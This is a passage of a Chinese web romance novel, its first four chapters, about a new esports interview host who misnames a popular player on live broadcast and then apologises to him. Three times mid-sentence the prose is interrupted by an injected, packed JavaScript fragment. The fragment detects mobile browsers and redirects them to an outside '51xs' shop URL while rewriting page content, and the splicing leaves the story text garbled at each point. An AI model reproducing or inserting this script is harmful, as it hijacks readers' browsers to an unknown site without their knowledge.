《扣1我哄你[男暗恋]》 1. 采访杀手 六月底的云州梅雨连绵,下午来场馆时又一场骤雨,潮气像尘粒一样弥漫在密不透风的后场,让呼吸都变得格外费力。 连昼用纸巾按掉额角湿意,低头继续修改采访手卡上的问题。 密密麻麻的小字写了又涂,改了又划。她不由得更焦虑,深呼吸几下,换了张干净的新手卡。 今天是夏季常规赛的最后一场落幕战,也是她作为新人主持的收官考核。 化妆师栗子拿着定妆刷和唇釉过来给她补妆,手指碰到额头,停留了一会儿:“你好像有点发热,要不要吃一下药?” 这几天早晚温差大,阵雨下气温忽冷忽热,刚才又淋了点雨,也许真要感冒了。 可是后台的药箱里只有氨酚烷胺片。 连昼拿起药,又放下——还是撑到工作结束吧,这种感冒药催眠效果太强,总不能昏昏欲睡地去采访选手。 她看向休息室里的显示屏,比赛进行到后期,云州ZYG门牙塔相继被摧毁,对方下路组流星剑刃和雨女杀穿三条路,势如破竹地冲向高地。 虽说作为云州主场的主持,立场上该无条件支持云州战队。 但很显然,他们的对手——目前常规赛数据13胜0负的IR战队,马上就要变成14胜0负了。 连昼今天的工作是胜队后台采访,还算简单,本来没必要如临大敌到这种程度。 只是IR这个队,是知名的采访杀手。 上野两位选手是超绝IE组合,上单怎么问也只能问出嗯、啊、哦几个语气词;打野则刚好相反,话密且无用,一般开场白之后主持人就很难在他的语速下说出一个完整的句子了。 下路两位同样不可小觑。 AD(射手位)选手人称Bking少爷,随地大小装,采访暴言名场面不计其数;小辅助是个从来不带翻译人员的韩援,主打自信中文,事实上,听他说中文比听他讲韩语还费劲。 沉默上单,话痨打野,暴言AD,加密辅助,只剩一个中单可以正常交流。 庆幸的是,对流程时导演提了一嘴,今天IR派来接受采访的就是中单。 虽然对连昼而言,就算是中单也挺尴尬的。 她来回翻阅IR的资料,对着显示屏出了半分钟的神,恍恍惚惚间,前场爆发出山呼海啸的欢呼声,把她游走的思绪扯了回来。 果然,IR今天没搞节目效果,2:0稳稳当当赢下落幕战。导播镜头从破碎水晶切到了IR的芒星队标,热烈红色屏光下,IR几人起身去跟对手碰拳。 赛后幸运观众互动环节进行得格外快,连昼接到导演的提醒,立即赶往后台胜采间。 半路跟导演助理碰到,助理笑她:“兴奋成这样?小姑娘果然都喜欢Serein。” “谁?”连昼愣了愣,一下子没反应过来:“不是采访中单吗?” 助理大哥说:“不知道啊,IR临时提出换成AD,你快点吧,人家刚下台就去准备了。” 一种飞来横祸的微妙预感砸了下来。 ……Serein,如雷贯耳的高危人物。 这几年端游热度持续走低,两年前明星选手Morpho(蝶神)的退役更是雪上加霜,联赛热度一度惨淡到常规赛门票都难卖,把赛事主办方急得满头大汗。 兵荒马乱之际,IR战队横空出世,一跃成为赛事方押宝的营销重点。 还算漂亮的战绩,不时发癫的战斗风格,公主粉色队服,五张白净男大脸…电竞男团氛围感拉满,天选流量队。 而这支流量队中的顶流——AD选手Serein,正是赛区内所有主持解说心照不宣、避之不及的危险禁区。 去年全球巅峰赛IR表现失常,现场解说思齐仅仅锐评一句“这波Serein站位有点激进”,当晚微博私信就被爆破了20万条,热搜上口诛笔伐好几天,至今还是直播一露脸满屏违禁词的状态。 连昼在采访间门口深吸一口气。这样的高危,终于还是轮到自己了。 挤进狭小的空间,一眼就看到那抹出挑的粉色队服,戳在人群中高出一截,正被簇拥在背景板中间。 稍长的卷曲刘海把男生眼睛遮得严严实实,他微微俯身垂头,任由化妆师拿着两把刷子在鼻尖、下颌来回扫荡。 明明画面赏心悦目,连昼眼中却只看到一片危险感叹号,耳边警笛循环鸣响:私信爆破20万…私信爆破20万… 她捏紧预先检查了十几遍的采访手卡,走上前去礼貌开场:“你好,我是今天的采访主持昼昼。” 忙碌的工作人员马上停手,训练有素退到了镜头后面,准备开始直播。 Serein直起身,右手插裤袋,左手以一种说唱歌手玩麦的诡异手势举着有线话筒,看都没看过来一眼,爱答不理地“嗯”了一声。 名不虚传,Bking少爷。 连昼把嘴角弧度拉到最标准:“那我们就开始了哦。” “等一下。”摄像出声打断,“你俩离得也太远了,画面兜不住,不知道的还以为中间站着什么东西。” “哦哦,抱歉。”连昼听话地向右侧调整站位。 眼角余光一扫,恰好瞥见身边这位选手也极其不自然地、同手同脚地往中间挪了半步。 她视线下移,意外地注意到他垂下的左手,死死捏着麦,力度大到手背上青筋凸起,在白而薄的皮肤下格外明显。 …… 少爷是不是也在紧张啊。 大概紧张这种情绪是可以分摊的,连昼一直狂跳的心脏反而逐渐平静,对工作人员打了个手势,直播按部就班地开始。 第一个问题问得很常规。 “第一局你们冲上对方高地时,打野选手走位失误被单秒,此时队伍是如何调整的,Serein选手能跟大家再详细解说一下吗?” Serein目不斜视,嗓音深沉得很刻意:“亚伯拉罕说过,一次小失误可以避免最终灭亡,我认为出现失误有利于我们保持纪律性。” ……什么样的电竞选手会在赛后采访背诵名言警句啊。 连昼几乎可以幻视到弹幕上铺天盖地的省略号和问号,少爷的孔雀开屏已经再度进阶。 她笑容不改,进行了一个敷衍的赞美:“看来Serein选手对今天对局的思考有宏观前瞻和微观深度……” “而在第二局选用英雄时,你们亮出当前版本最强的山神,这也是你很擅长的英雄,最后却换成了流星剑刃,是出于什么样的考量呢?” “嗯……” Serein没有立即回答,直播短暂地安静几秒,连昼担心冷场,小幅度地抬眼观察他的状态,看见他垂着的黑密眼睫颤了颤,竟然显露出一丝不太自信的踌躇。 怎么了,这个b不知道该怎么装了吗? 连昼轻咳一声,想开口救场,没想到沉默许久的少爷张张嘴,装了个更大的: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545563|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为……听说流星剑刃比较帅。” …… 连昼的敬业微笑轻微一裂。 按她的设计,本该就这个问题先引出他对当前版本的英雄强度理解,再进一步深挖IR教练组的选禁思路。 然而少爷的暴言无法预测,一个帅字堵死所有后文。 没关系。她安慰自己,下一个问题他无处遁逃。 “Serein选手去年出道后取得了很不错的成绩,大家称你为新生代最有希望的一集,还有网友评价你是下一位统治型的天才选手,你对于网友的评价有什么回应呢?” 这个提问其实有点犀利,尤其还使用了“下一位”这样的字眼,直播出去大概率会戳痛少爷的敏感肌粉丝。 不知道他会给出什么答案,连昼心里没底,攥紧话筒的右手心悄悄沁出虚汗。她稳了稳思绪看向Serein,全神戒备。 Serein好像感受到了她紧绷的视线,也稍稍侧低下头。 忽然之间,两双不平静的眼睛直直对视。 在这一瞬间,她才算第一次看清了他的脸。 卷曲刘海覆盖下的眼瞳黑亮,眼尾微挑,鼻梁高挺,唇薄而红润,嘴角微微向下抿出一丝拒人千里的冷感,但因抿唇而微鼓的脸颊又把这点冷感中和起来,男人的线条锋利与男孩的润泽饱满奇妙地融合在这张脸上,漂亮得不落窠臼。 最惹眼的是,在他鼻梁偏左位置有一颗轻轻的黑痣,整幅起伏分明的轮廓都因为这颗痣柔化,含蓄地勾出几分缱绻。 连昼忍不住多看了他几眼,这几眼影影重重,越看越虚晃。 她想起论坛电竞小组曾经出现过一个热帖,突然爆火又迅速被冲烂,并且从此讳莫如深不敢再提,帖子标题是——《少爷类蝶》。 难怪,少爷姿色确实几分像Morpho(蝶神)。 采访间狭小闷闭,潮湿空气纠缠神经,连昼仰头看着这张脸,忽而觉得目眩神迷,眼前甚至错觉地掠过了蓝色闪蝶的炫光。 脑中空白一霎,她立刻重重地掐自己手心,神思回笼,目光才真正回到了眼前人身上。 在这漫长又短暂的一个瞬间,Serein似乎想好了说辞,依然把声音压得低哑磁性:“正如奥利维亚所说,天赋是自己塑造的。我觉得我是天才,而且会一直是天才。” …… 少爷人设稳得让人肃然起敬。 连昼及时跟上赞美:“天才二字是对攀登者最好的奖赏,相信Serein选手不会辜负大家的期望。” 一旦接受人物设定,后续提问就变得容易起来,十分钟之后,这场采访终于熬到了终点。 “再次恭喜IR战队以14胜0负的完美战绩为夏季常规赛画上句号,也祝你们在季后赛续写完美征程。” 连昼扬起标准微笑,熟练结语,“感谢Morpho选手——” 话音戛然而止。 采访间内流动的一切像被按下了暂停键,周围所有人,摄像、导演、管控、战队经理,包括身边的AD选手,全都面露惊愕、不敢置信地看过来。 呼吸停滞,这一秒,仿佛世界聚焦于她。 连昼的脸色一白,昏昏沉沉地意识到自己犯了一个足以结束职业生涯的错误。 但她的笑容没有落下来,直视着直播镜头,用最后的冷静更正了结束语。 “——感谢Serein选手接受今天的采访,季后赛再见。” 2. 直播 坏消息:收官战结束的当晚,高烧到39.2℃,在酒店昏睡到第二天晚上才醒。 好消息:因为一直在昏睡,侥幸错过了微博、虎扑、贴吧等平台的第一战场。 连昼意识模糊地解锁手机,时间都没看清楚,屏幕就被弹出的一连串未读消息卡死,只能颤着手指按住侧键关机又重启。 时间显示晚上九点半,微信消息仍然不断跳出来。 点开好友陈霁99+的聊天框,入眼第一句就是“你还在酒店吗,房间号多少,有没有人知道”。 连昼虚弱地回复:你要过来吗? 对面立刻发了句语音:不啊,我意思是别让Serein粉丝知道。 没力气打字,连昼直接拨语音过去,过了好一会儿才被接通。 那边环境嘈杂,隐隐听见激烈的音乐和架子鼓声,隔着听筒都觉得耳膜被痛击到了。 陈霁在爆炸的背景音里努力吼着:“你还好吧,工作还在吗?” 连昼返回手机界面,四处点了点,没有发现辞退通知,高悬的心飘然落地。 “工作好像还在。” 陈霁又吼:“你也就算个导火索,其实他们两边粉丝早就想战斗了!看开点,跟你关系不大!” 烧得神志不清的脑袋还在晕眩,连昼愣了好几秒才迟缓地消化了这两句话,于是试探性地问:“所以,没人骂我是吗?” 陈霁也顿了顿:“那倒不是。” “……”连昼恹恹叹气,“算了,在劫难逃。” 挂断语音,微信又跳出几条消息,被连昼无情划掉。 昨晚回来倒头就睡,遮光窗帘笼着,没有留灯,只有手机屏光荧荧地映着她苍白的脸颊。 连昼一动不动,直到一分钟后屏幕休眠,整个空间重新被裹进了密密实实的黑暗里。 她晕晕乎乎地想起动机性遗忘理论,大意指人的大脑有自我保护机制,会有意识地遗忘自己不能承受的痛苦记忆,形成受创性失忆。 现在回想起采访事故的细节,果然已经记不清了。不记得是怎样离开的,也不记得自己有没有和Serein、和其他工作人员道别。 Serein的脸是什么样子,不记得了;自己问了他什么,都不记得了。 一切都变成虚晃的空白,好像什么都没有发生过—— 就在她放任自己沉沦于自欺欺人的幻境时,手机屏幕又亮了起来。 仅仅一点亮光就把这平和的幻境轻易击碎了。 理智回笼,连昼终于清醒。 问题是不会凭空消失的,只能一步步解决。 她先给顶头上司苏西打电话,很快被接起。 与预想中的疾言厉色不同,苏西语气如常,反而先关心了一句:“你退烧了吗?” “退了点。”连昼更加不安,“抱歉,苏西姐,出现这么严重的失误,我之后的工作……” 苏西停顿几秒,忽然调侃道:“你知道吗,你读错ID这几秒,让常规赛的话题热度达到了顶峰值。” 连昼懵住,一时不知道该怎么接话。 “看热搜没?”苏西说:“这次都吵出圈了,也算是因祸得福。” 这为什么能吵出圈啊…… 连昼举着手机,大脑停运,呆滞地嗯、啊、哦。 “幸好对联赛没造成什么实质影响,而且话题中心是那两位,不在你身上,你的工作暂时不用太担心。” 苏西安慰完,最后还是教训了几句:“这种低级失误不能再有,不然把你发配回次级联赛。” 连昼恨不得血书起誓。 怎么敢再有呢,一次就足够刻骨铭心。 工作的担忧解决,半条命就捡了回来,另外半条也没什么好怕的了。 她心一横,打开微博。 经过一天混战,热搜上还残留有几个联赛相关的话题。 最高的在热搜第七,“少爷类蝶”。 最热博文挂着几张长图,赫然正是曾经掀起过腥风血雨的《少爷类蝶》论坛帖截图。 帖子首先从身高体重、皮肤色号、脸型、唇形以及双眼皮形状等外貌特征,论证了Serein是蝶神复刻版的真实性; 接着,从队内核心位、招牌流星剑刃、对线细节、出装习惯、激进站位等个性特征,再次论证选手迭代是莫比乌斯环的可能性; 最后,以Serein出道初期微信头像就是蝴蝶图片的包浆截图,极力佐证“少爷类蝶”的结论。 这条博文的评论数量达到了罕见的8万条。 连昼点进评论,瞬间理解了苏西所说的“吵出圈”。 【雨女跑快快:谁懂…我嗑的爷没蝶…终于见光了……】 【誓死守护少爷-回复-雨女跑快快:他俩认识吗就嗑,CP脑滚出竞竞世界!】 【巴特弗莱:微信头像也用蝴蝶?宝宝你是一个专业的学人精】 【飞往蝶的山:爱蹭的少爷一枚呀】 【少爷与我:在台上比赛的和消失两年的,谁蹭谁我请问呢?】 【神谷逛街积极分子:蝶神19岁全球巅峰赛冠军,Serein19岁什么冠军?】 【莫德感情之月-回复-神谷逛街积极分子:去年高手solo赛(娱乐赛)冠军,芝加哥邀请赛(表演赛)冠军,未来可期冠军,怎么了小姐姐,比不上你蝶败走退役冠军】 【小月球:纯路人,你们不要再打了啦…我是说…有没有人做这碗电竞饭啊?】 【积雨云-回复-小月球:滚,脑浆摇匀了再上网】 【特莱神金:就没人说那个昼昼吗?什么主持连选手ID都能念错,她还能有工作?】 【用户暂未注销-回复-特莱神金:还是名校毕业的,真是口误吗?建议严查成分】 …… 连昼一阵心虚,飞快下翻几十条,全是两边粉丝唇枪舌剑的车轱辘对战。 右拉到实时动态,还有很多实时微博不断刷新出来。 最新一条应该是蝶神的粉丝,发了一张火盆图片,念念有词:跨火盆,跨火盆,去去晦气,学人精和梦女主持别来沾边…… 等一下,梦女主持? 连昼点进这个蝶粉的主页,上一条微博刚好就是关于自己的转发。 有人扒出她没有认证过、一片荒芜的微博号,截图了她的关注列表,寥寥四五个关注对象,除了赛事官博和微博小秘书之类,只有一个特别的个人用户。 ——蓝色闪蝶头像,Morpho选手。 连昼心里一紧,如芒刺背。 这条微博下转发和评论都有近千条,她不敢看,直接返回热搜主页。 热搜二十几的位置上还有两个相关热搜,一个“CGL官方主持口误”,一个“Serein黑头像清空微博”。 少爷又是怎么了? 连昼搜索他的微博,主页果然是一片空白,连关注列表都全部清空了,空挂着一个伤感疼痛的黑头像,破碎感拉满。 虽然很难体会到他是以什么样的心态清博文黑头像…… 总之少爷心情一定非常糟糕。 罪魁祸首此时才滞后地愧疚起来。 刚醒时一股脑地担心自己的工作,完全没考虑到,真正倒霉的其实是那两位无缘无故被推到风口浪尖的选手。 Morpho退役两年,好不容易离开公众视线,现在却因为她一个口误被牵扯出来热搜罚站。 Serein那边的情况更恶劣,本来就一直明里暗里被拿来跟Morpho对标,经过这次大规模舆论战,以后恐怕永远甩不开“蝶神复刻版”的标签了。 连昼把脸埋进被子里——她可真该死啊。 她在心里忏悔,可是心里忏悔一万遍也于事无补,什么也挽回不了。 抛开那些乱七八糟的想法,连昼翻身举起手机,第一次使用自己荒芜的微博号编辑了私信,发送给Morpho。 戳着键盘纠结了十几分钟,最后删删减减,认真表达了歉意,即使这条私信可能不会被看见。 下一步,她打开微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545564|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右划通讯录,找到从未联系过的IR中单Monsoon,一鼓作气发送消息:季明礼,可不可以帮个忙? 两分钟后,对方回复:让我看看这是谁呀。 连昼无语了一下,忍了:我可以加你们队AD的微信吗?或者其它联系方式,我想跟他道歉。 【Monsoon:问了,司偕说不加陌生人】 【Monsoon:司偕就是Serein,你肯定也没记住】 【连昼:……我的错,所以还有什么办法吗?】 【Monsoon:有啊,他正在补直播时长,你去上个骑士吧】 病急乱投医,连昼想了想,真的去搜了一下Serein的直播间,然后特意新建一个金鱼站号,胡乱填了点个人资料,进入直播。 Serein正在单排,还没进入对局。 摄像头画面很小,缩在界面左下角,背景是公主粉色调的基地训练室。 光线明亮,他的面容背着光,像糊了一层柔光滤镜,被渲染得更加旖旎。 然而他的气场却消沉得很明显,板着那张好脸,一副郁郁寡欢的厌世样。 在线观众数量把直播间顶到了电竞人气榜第一,不停有新用户进来,弹幕跑得飞快,大多都是粉丝嗷嗷叫着请少爷把摄像画面放大一点。 “心情不好,不想放大。”Serein面无表情,冷酷地哼出一句。 弹幕一阵爆发,让主播好好说话不要撒娇。 也有一些观众不明就里。 【管家,少爷他为什么不笑了?】 【还能为什么,世界是一个巨大的替身[狗头]】 【学人精,你学一辈子也比不过蝶神[点赞]】 Serein皱眉,周身气压跌到了谷底。 房管手起刀落,麻利禁言那几个复制“少爷类蝶”的弹幕,粉丝团又刷了波礼物,把黑子发言顶了上去。 可能是做贼心虚,连昼只觉得他们的每一个表情、每一条弹幕、每一个礼物,都像是在指着自己鼻子痛骂。 鬼使神差地,她点开右下角礼物界面,找到季明礼所说的骑士,余光看见旁边还有个更贵的守护神,一冲动,直接充值投喂。 “感谢粥粥的守护神——”Serein心不在焉地念礼物,停顿两秒,又重复了一遍,“粥粥。” 弹幕还没来得及反应,一道熟悉的声音由远及近,屏幕左下角画面里突然挤进来季明礼半颗脑袋:“有人给你上守护神啊?给我看看。” Serein臭着脸推他:“看什么看。” 季明礼脸上带着意义不明的笑意:“我看看,是粥粥啊。” Serein的神情滞住了,接着,就在众目睽睽之下,他点开了“粥粥”的资料。 连头像都没有,除了粥粥这个名称以外,资料全部空白。 他什么都没发现,弹幕却别出心裁地爆破了。 【粥粥,昼昼?黑子故意恶心人?】 【为了恶心主播下如此血本,兄弟你转粉得了】 啊? 连昼慌张打字:不是不是,我不是黑子。 这行无力的辩解很快就淹没在铺天盖地的弹幕里,连她自己都没看清。 好在这个时间点上,Serein的游戏进入了对局,IR打野Ash刚好排在对面,直播间的注意力瞬间被吸引过去。 弹幕一片一片地怂恿下野单挑,没人再注意她这个嫌疑黑。 然而季明礼的声音仍然贴在Serein边上,时不时地笑两声,笑得人寒毛倒立。 连昼挂起直播间,返回微信质问他:季明礼,你笑什么? 【Monsoon:你说呢,守护神】 连昼恼羞成怒,发过去一个炸弹表情,emoji从对话气泡跳出去,在聊天界面中央声势壮大地炸开一朵黑云。 与此同时,Serein的声音像裹着层雾似的,也在直播间闷闷地一道雷炸开。 “季明礼,你刚刚说有朋友要加我?” 3. 少爷和我 【什么意思,主播刚不是说不加陌生人吗,现在又问?】 【不对劲,突然跟主播有距离感了】 【怎么,别的妹妹加得,偏我加不得?】 …… Serein一声不吭,操作着键鼠,游戏里的山神切成长枪形态,走路都走出了大杀四方的气势。 对面Ash从上半区偷渡而下,鬼鬼祟祟在视野里蹲了好一阵,Serein点信号摇己方野辅过来,一套眩晕击飞连点几枪把他和敌方中单一起带走,拿到人头冷冷一笑,弹出一个菜鸡表情。 弹幕画风马上就一阵风似的刮起了少爷帅帅帅,少爷的操作是卢浮宫艺术品。 Ash就在他背后直播,气到破音:“又被司偕这个b王装到了!” Serein没理他,蹙着眉,有点烦躁的样子,趁着回基地的空隙偏头追问:“季明礼,说话,谁要加我?” 弹幕:【谢谢少爷,斜视了十几年,你这一冷脸把我眼睛看直了。】 诚然,这一冷脸也把连昼看得开始打退堂鼓。 他的语气听起来实在太冷硬,让人有种加上微信就会直接约架的不妙预感。 要不然还是让季明礼先别说了? 她才在心里纠结了两秒,季明礼已经开口了。 不知道为什么,人的声音有时真的能表达眼部动作,比如现在,可以明显听出季明礼的声音翻着白眼:“闭嘴吧,等你下播再说。” “哦,那我下播了。” 游戏正好进入结算画面,Serein推开键盘,竟然真的准备即刻下播。 弹幕上浩浩荡荡涌出一大片问号。 刚被他斩于马下的Ash在后面大叫,机关炮般蹦出一大段破防语录:“司偕!不许下播,吃了我的分就想跑,快给我回来,今晚我们大战到天亮,直播间七千个兄弟见证哈,老子不把你杀到退服不下播,你敢走我举报你这个月还有50个小时没播,你对得起你直播间那么多侍卫骑士守护神吗?” Serein的视线落在直播镜头上,停下了动作。 【50个小时哈哈哈哈哈哈哈哈】 【少爷别慌,我帮你算好了,本月还有两天48小时,48*0=0,50*0=0,所以48=50,能播完】 【主播,跟Ash缠缠绵绵播到下个月吧】 非静止摄像画面中,Serein如同雕塑一样静默了很久,久到弹幕纷纷开始怀疑自己网卡了,他突然伸手,干脆利落地关了摄像头,留下一句冷酷的: “反正播不完,不播了。” 话音甫落,直播画面一片黑沉沉,连昼被弹出直播间,系统提示“直播已结束”。 不愧是少爷,随时随地高冷。 下一秒,季明礼发来消息:【他真的很装。】 【连昼:你告诉Serein了?】 【Monsoon:他自己猜的】 【Monsoon:但还是不想加】 连昼叹了口气,旋即又觉得死里逃生,松了口气:【那就算了,麻烦你转告他我很抱歉。】 季明礼的聊天框变成“对方正在输入中”,来来回回好几次,不久,发来新消息。 【Monsoon:他说,也不是一定不能加】 他把Serein的名片推过来,微信名是一个雨滴emoji,头像和刚清空的微博一样,一片清冷破碎的纯黑色。 连昼紧张地捏了捏手指,向少爷发送添加申请,验证信息虔诚地填上“主持连昼”。 隔了两秒,系统提示对方通过朋友验证,可以开始聊天了。 连昼立刻发送出一段谨慎的道歉:对不起,我在工作中出现严重失误,给你带来困扰非常抱歉。 聊天框顶端的雨滴emoji秒变“对方正在输入中”,来来回回好几次,就是没有新消息过来。 ——很熟悉的模式,跟刚刚季明礼的聊天框如出一辙。 这是IR的战队文化吗,比赛操作天神下凡,微信打字无比艰难。 作为主持人有一种阻止冷场的本能,她担心对方无话可说,发过去一个猫猫鞠躬表情,补充道:【要是不想回复也不必勉强,我理解。】 这次对面消息来得很快。 “1”。 这是什么意思。 连昼不内耗,立即去问代言人:【我道歉,少爷回复一个1,怎么解读?】 【Monsoon:别理】 连昼:不理?真的不理吗? 【Monsoon:等五分钟】 连昼半信半疑,却也别无他法。 人在紧张的时候,会觉得五分钟也很难熬。 等待的时间被无限拉长,她举着手机戳来戳去,顺势戳进了Serein的朋友圈。 他的朋友圈倒没那么破碎。 最上方背景图挂着一片玻璃糖纸般湛蓝的天空,日光流金像水一样漫向天际,薄云如絮寥寥几缕,浮荡在疏立高楼上方,清新得如同日漫空镜。 唯一的瑕疵是,画面右上角有一块斑驳不清的模糊。 可能是他自己拍摄的照片,按键时手指的阴影遮挡住了镜头吧。 连昼下拉图片,想试试看能不能保存,却忽然发觉那片模糊不是什么阴影,反倒更像是一滴雨在手机举起的瞬间落了下来,不完美的镜头恰好透过这滴雨的视角望向了晴空。 她恍然想起,“晴空有雨”,不就是Serein这个ID的意思吗。 再向下细看,画面最底下被几座建筑强行入镜,其中最左边有一角环形的楼顶,越看越眼熟。 竟然像是前两年建成不久就停用的淮城电竞赛事体育馆,而在停用之前,OG赛事中只有次级联赛短暂地使用过一个赛季。 甚至可以说,可能很多选手和观众都不知道有那个场馆,更不知道它长什么样。 连昼之所以能认出来,是因为她两年前第一次电竞行业实习就是在淮城场馆,扎扎实实驻守了一个月,最后几场比赛还没结束就被通知场馆要关闭了,导演愁得半夜不睡觉叫工作人员集体出去逛淮山公园,经历堪称难忘。 她有点意外,Serein在那个赛季参加次级联赛了吗? 明明上次采访前翻看过IR选手的履历,并没看到他有次级联赛的参赛经历啊。 好奇心让人暂时忘记了等消息的焦虑,连昼思索无果,准备求助数据资料库。 她想要退出Serein的朋友圈,抬起手腕的同时,时微信消息跳出来,叮当一声猝不及防,惊得她手指打滑,不偏不倚地戳在右下角,给Serein的背景图点了一个赞。 …… 来不及思考,连昼眼疾手快,下意识又戳灭那颗粉色爱心。 随即反应过来——加完好友看一下朋友圈怎么了,取消赞不是更怪吗! 懊恼之际,微信又是叮铛一声。 Serein先后发来两条消息,连昼抬眼一看时间,与上一回合的对话刚刚好间隔五分钟。 五分钟定律,季明礼,你们IR的战队文化确实有点东西。 他的第一条消息应该是对“1”的补充说明,慷慨地扩写成三个字:没关系。 第二条也是三个字,搭配一个问号。 【雨滴emoji:取消了?】 果然被发现了……连昼尴尬地解释:抱歉,不小心点到的。 【雨滴emoji:。】 【雨滴emoji撤回了一条消息】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545565|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>显而易见,少爷又不高兴了,他简直像块玻璃,一碰就碎。 来都来了,就哄到底吧。 她本着尽人事听天命的心态点进Serein朋友圈,重新点亮背景图右下角的小爱心。 【连昼:你的背景图很好看,是自己拍的吗,拍得特别好[点赞]】 对话框一阵寂静。 不知道是不是还要等五分钟,她索性丢开手机,把自己从床上拔起来,开浴室灯洗了把脸。 高烧退得差不多了,被酸软感占据的四肢渐渐恢复力气,到这个时候,昏睡一天的后遗症才有了实感,胃里空荡荡的,嘴唇和喉咙沙涩,整个人像纸片一样干枯。 连昼喝了点矿泉水,换上新睡衣拉开遮光窗帘,外面夜景弥濛,原来又在下雨了。雨势泠泠落落,把远近灯火洇得温润柔和。 这片柔和极大地缓解了焦虑,她倒回床上,给自己点了一份夜宵外卖,想了想,又加了杯奶茶。 点击确认下单的同时,微信消息跳动。 【雨滴emoji:1】 果然,刚好五分钟,像定了闹钟一样,把对话变成了回合制。 为了避免更多的五分钟,连昼决定推动对话走向结尾。 她在表情包里挑挑拣拣,发送了一个古德鹦鹉咛的晚安表情:那就祝你们季后赛顺利,早点休息。 这次却没有再等一个轮回,对方秒回两个字:等等。 接着一条消息是:[¥20000-请收款] 连昼大吃一惊:? 【雨滴emoji:守护神】 他过于言简意赅,连昼烧得不太灵敏的思维绕了两圈才明白。 是刚刚在他直播间投喂的那个不过两千的守护神礼物,他竟然想要十倍还回来。 连昼立刻高情商回应:不用这样,投喂守护神只是因为你直播间很有趣,我喜欢看。 【雨滴emoji:你喜欢看】 【连昼:[猫猫点头]你拒绝的话我以后就不好意思看了】 这条消息发过去,对方一阵沉默。 连昼审视了一下自己的回复,担心谄媚过度反而显得不诚恳,忙补充了一句:这个守护神不算道歉,如果你有其它要求比如公开道歉之类的,我都可以配合。 【雨滴emoji:那你现在截图】 截什么图? 夜雨还在淅淅沥沥,连昼在扰人的雨声里盯着这行中文看了三遍,仍然没能理解它的含义。 这一次五分钟还没到,不,三分钟还没到,聊天框里就不太矜持地冒出一条新消息。 【雨滴emoji:你给我的备注,截图】 她豁然领悟。 少爷竟然要检查这个当着他面叫Morpho的主持有没有记住他的ID。 如此出人意料,又如此符合人设;如此严格,又如此简单。 连昼当即把雨滴emoji备注为“Serein”,正要截图,忽然间福至心灵,改了一个更完美的无可指摘的答案。 “Serein司偕”。 截图发过去,隔了一会儿,Serein回复一个1。 与这个“1”一起到来的还有外卖电话,骑手电话告知她外卖会由机器人送到房间。 于是她返回Serein的聊天框,再一次尝试结束对话:那我就不打扰了。 “对方正在输入中”,反反复复许久,最后还是一个高深莫测的“1”。 连昼如释重负,一把丢开手机,倒在床上休养生息。 她缓缓闭上眼睛,然而黑暗中眼前却还是满满当当,还能看见一个个字符串成乱码,绕着她的每根神经纠缠不休。 定神一看那些字符,全都是高深莫测的“1”。 4. 新人设 今年夏季赛赛程不算紧,常规赛结束后、季后赛开始前,还有一周休息时间。 连昼在酒店办理了续住。之前租的公寓退掉了,她暂时无处可去,也无事可做,窝在沙发椅里仔细研究工作群里新鲜出炉的季后赛赛程。 和以往一样,今年仍然采取分组淘汰赛制,进入季后赛的八支队伍分为AB两组,按照排名自下而上进行挑战,最后由两组内的末轮胜者进入总决赛争夺冠军。 连昼在赛程表前端找到自己的主场战队,云州ZYG常规赛排名第五,位于B组第二轮,也就是说如果他们想进到决赛,必须自下而上把B组打穿。 顺着B组表格往后看,B组的末轮对手是…… IR。 指尖在“IR”上点了点,连昼为ZYG致以哀恸: 吾友ZYG,只要你勇敢翻山,就一定会遇见翻不过去的山。 虽说这座山在去年春季转会期之后才成立,目前还只是一个青史无名的年轻队伍,但当前赛季,应该没有人敢质疑IR在赛区内的统治力。 连昼清楚记得,自己第一份赛事分析作业就是在去年春转后,要对新组建的各队写一份战力前瞻。 当时连昼在IR战力评级那栏填下了“B级”,不能怪她眼拙,事实上当时没有几个人看好这个新战队。 去年春天IR俱乐部解散重组,不知从哪淘来几个名不见经传的新面孔,堪称白纸五张,他们甚至来不及磨合,刚建队就紧锣密鼓开始了夏季赛——怎么看都是俱乐部摆烂,临时凑的草台班子。 顺理成章地,所有赛前预测都把小透明IR摆进东半区(积分榜弱队半区),然而常规赛两周轮战后,各路赛事快报遮天蔽日地飞着几个大字: 最打脸的一集——IR零败战绩稳居西半区榜首。 去年被狠狠打过脸,今年当然不敢再质疑了。 